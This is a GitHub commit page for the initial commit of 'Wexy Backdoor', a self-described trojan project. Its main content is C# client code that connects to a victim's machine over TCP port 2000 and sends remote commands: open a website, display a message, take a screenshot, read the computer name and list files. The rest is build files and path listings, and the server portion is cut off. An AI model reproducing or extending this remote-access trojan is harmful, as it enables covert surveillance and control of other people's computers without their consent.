Skip to content

Commit

Permalink
Initial commit
Browse files Browse the repository at this point in the history
  • Loading branch information
Welsen committed Mar 1, 2015
1 parent b98596e commit 045187f
Show file tree
Hide file tree
Showing 42 changed files with 763 additions and 0 deletions.
Binary file added Trojan Client/Ampeross-Qetto-Hdd-win-2.ico
Binary file not shown.
6 changes: 6 additions & 0 deletions Trojan Client/App.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0"?>
<configuration>
<startup>

<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.1"/></startup>
</configuration>
165 changes: 165 additions & 0 deletions Trojan Client/Client.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
using System;
using System.Net.Sockets;
using System.Text;

namespace Wexy_Client
{
class Client
{
public static string pcname;
public static string files;
public static bool isConnected; //This will allow us to track whether or not we are connected to a server
public static NetworkStream Receiver; //this is used to get data from the server
public static NetworkStream Writer; //this is used to send commands to the server

#region Commands
public static void SendCommand(string Command)
{
try
{
if (Command != "showfiles>" && Command != "pcname>")
{
//Creates a packet to hold the command, and gets the bytes from the string variable
byte[] Packet = Encoding.ASCII.GetBytes(Command);

//Send the command over the network
Writer.Write(Packet, 0, Packet.Length);

//Flush out any extra data that didnt send in the start.
Writer.Flush();
}
else
{
switch (Command)
{
case "pcname>":
//Creates a packet to hold the command, and gets the bytes from the string variable
byte[] Packet = Encoding.ASCII.GetBytes(Command);

//Send the command over the network
Writer.Write(Packet, 0, Packet.Length);

//Flush out any extra data that didnt send in the start.
Writer.Flush();
ReceiveData();
Console.WriteLine("PC Name : " + pcname);
break;

case "showfiles>":
//Creates a packet to hold the command, and gets the bytes from the string variable
byte[] Packet1 = Encoding.ASCII.GetBytes(Command);

//Send the command over the network
Writer.Write(Packet1, 0, Packet1.Length);

//Flush out any extra data that didnt send in the start.
Writer.Flush();
ReceiveData();
Console.WriteLine(files);
break;
}
}
}
catch
{
isConnected = false;
Console.WriteLine("Disconnected from server!");
Console.ReadKey();
Writer.Close();
}
}

//TODO
public static void ReceiveData()
{
//Infinite loop
while (true)
{
//try to read the data from the client
try
{
//Packet of the received data
byte[] RecPacket = new byte[1000];

//Read a command from the client.
Receiver.Read(RecPacket, 0, RecPacket.Length);

//Flush the receiver
Receiver.Flush();

//Convert the packet into readable string
string command = Encoding.ASCII.GetString(RecPacket);

//Split the command into two different strings based on the splitter we made, >
string[] CommandArray = System.Text.RegularExpressions.Regex.Split(command, ">");

//Get the actual command.
command = CommandArray[0];
pcname = command;
files = command;
break;
}
catch
{
break;
}
}
}
#endregion

static void Main(string[] args)
{
Console.ForegroundColor = ConsoleColor.Green;
Console.Title = "Client - Offline";

//The TcpClient that we will use for the connection.
TcpClient Connector = new TcpClient();

Console.WriteLine("Wexy Backdoor - Made by mem0rYLaek");
//Get the user to enter IP of the server.
Console.WriteLine("Enter server IP :");
string IP = Console.ReadLine();

try
{
Connector.Connect(IP, 2000);
isConnected = true;

//Changes the console title
Console.Title = "Client - Online";

//Get the stream in the Writer and the receiver
Writer = Connector.GetStream();
Receiver = Connector.GetStream();
}
catch
{
Console.WriteLine("Error connecting to target server ! /nPress any key to restart the program.");
Console.ReadKey();
Environment.Exit(0);
}
Console.WriteLine("Connection successfully established to " + IP);
Console.WriteLine("Type help for a list of available commands.");

while (isConnected)
{
Console.WriteLine("wexy> ");
string command = Console.ReadLine();

if (command == "help")
{
Console.WriteLine("_____COMMANDS_____");
Console.WriteLine("- (Open a website) 'open>http://example.com'");
Console.WriteLine("- (Display a message on target's screen) 'msg>message here'");
Console.WriteLine("- (Take a screenshot) 'ss>'");
Console.WriteLine("- (Get target's computer name) 'pcname>'");
Console.WriteLine("- (Show files in a specified folder path) 'showfiles>'");
}
else
{
SendCommand(command);
}
}
}//end main
}//End class client
}
36 changes: 36 additions & 0 deletions Trojan Client/Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// Les informations générales relatives à un assembly dépendent de
// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
// associées à un assembly.
[assembly: AssemblyTitle("Wexy Trojan Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly
// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de
// COM, affectez la valeur true à l'attribut ComVisible sur ce type.
[assembly: ComVisible(false)]

// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
[assembly: Guid("df20ad78-225e-40c6-b5b9-3e7d1602d401")]

// Les informations de version pour un assembly se composent des quatre valeurs suivantes :
//
// Version principale
// Version secondaire
// Numéro de build
// Révision
//
// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
// en utilisant '*', comme indiqué ci-dessous :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
66 changes: 66 additions & 0 deletions Trojan Client/Wexy Client.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{9B3C923C-1F9E-4842-B2AF-E8104106CACC}</ProjectGuid>
<OutputType>Exe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Trojan_Client</RootNamespace>
<AssemblyName>Wexy</AssemblyName>
<TargetFrameworkVersion>v4.5.1</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>Ampeross-Qetto-Hdd-win-2.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Client.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<Content Include="Ampeross-Qetto-Hdd-win-2.ico" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
6 changes: 6 additions & 0 deletions Trojan Client/bin/Debug/Trojan Client.vshost.exe.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0"?>
<configuration>
<startup>

<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.1"/></startup>
</configuration>
11 changes: 11 additions & 0 deletions Trojan Client/bin/Debug/Trojan Client.vshost.exe.manifest
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Binary file added Trojan Client/bin/Debug/Wexy.exe
Binary file not shown.
6 changes: 6 additions & 0 deletions Trojan Client/bin/Debug/Wexy.exe.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0"?>
<configuration>
<startup>

<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.1"/></startup>
</configuration>
Binary file added Trojan Client/bin/Debug/Wexy.pdb
Binary file not shown.
Binary file added Trojan Client/bin/Debug/Wexy.vshost.exe
Binary file not shown.
6 changes: 6 additions & 0 deletions Trojan Client/bin/Debug/Wexy.vshost.exe.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0"?>
<configuration>
<startup>

<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.1"/></startup>
</configuration>
11 changes: 11 additions & 0 deletions Trojan Client/bin/Debug/Wexy.vshost.exe.manifest
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Binary file not shown.
Empty file.
Empty file.
Empty file.
34 changes: 34 additions & 0 deletions Trojan Client/obj/Debug/Trojan Client.csproj.FileListAbsolute.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan Client\Trojan Client\bin\Debug\Trojan Client.exe.config
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan Client\Trojan Client\bin\Debug\Trojan Client.exe.config
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan Client\Trojan Client\bin\Debug\Trojan Client.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan Client\Trojan Client\bin\Debug\Trojan Client.pdb
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan Client\Trojan Client\obj\Debug\Trojan Client.csprojResolveAssemblyReference.cache
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan Client\Trojan Client\obj\Debug\Trojan Client.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan Client\Trojan Client\obj\Debug\Trojan Client.pdb
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\bin\Debug\Trojan Client.exe.config
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\obj\Debug\Trojan Client.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\obj\Debug\Trojan Client.pdb
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\bin\Debug\Trojan Client.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\bin\Debug\Trojan Client.pdb
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\obj\Debug\Trojan Client.csprojResolveAssemblyReference.cache
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\bin\Debug\Trojan Client.exe.config
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\obj\Debug\Trojan Client.exe
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\obj\Debug\Trojan Client.pdb
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\bin\Debug\Trojan Client.exe
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\bin\Debug\Trojan Client.pdb
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Trojan\Trojan Client\obj\Debug\Trojan Client.csprojResolveAssemblyReference.cache
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\obj\Debug\Trojan Client.csprojResolveAssemblyReference.cache
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\bin\Debug\Wexy.exe.config
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\bin\Debug\Wexy.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\bin\Debug\Wexy.pdb
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\obj\Debug\Wexy.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\obj\Debug\Wexy.pdb
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\bin\Debug\Wexy.exe.config
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\obj\Debug\Wexy.exe
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\obj\Debug\Wexy.pdb
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\bin\Debug\Wexy.exe
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\bin\Debug\Wexy.pdb
C:\Users\Welsen\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Trojan\Trojan Client\obj\Debug\Trojan Client.csprojResolveAssemblyReference.cache
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\bin\Debug\Wexy.exe.config
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\obj\Debug\Wexy.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\obj\Debug\Wexy.pdb
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\bin\Debug\Wexy.exe.config
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\bin\Debug\Wexy.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\bin\Debug\Wexy.pdb
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\obj\Debug\Wexy Client.csprojResolveAssemblyReference.cache
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\obj\Debug\Wexy.exe
C:\Users\Wilhem\Dropbox\Workplace\SI - 4 SLAM2 SLAM4\Personal C# Projects\VS2012\Wexy Backdoor\Trojan Client\obj\Debug\Wexy.pdb
Binary file not shown.
Binary file added Trojan Client/obj/Debug/Wexy.exe
Binary file not shown.
Binary file added Trojan Client/obj/Debug/Wexy.pdb
Binary file not shown.
6 changes: 6 additions & 0 deletions Trojan Server/App.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0"?>
<configuration>
<startup>

<supportedRuntime version="v2.0.50727"/></startup>
</configuration>
Loading

0 comments on commit 045187f

Please sign in to comment.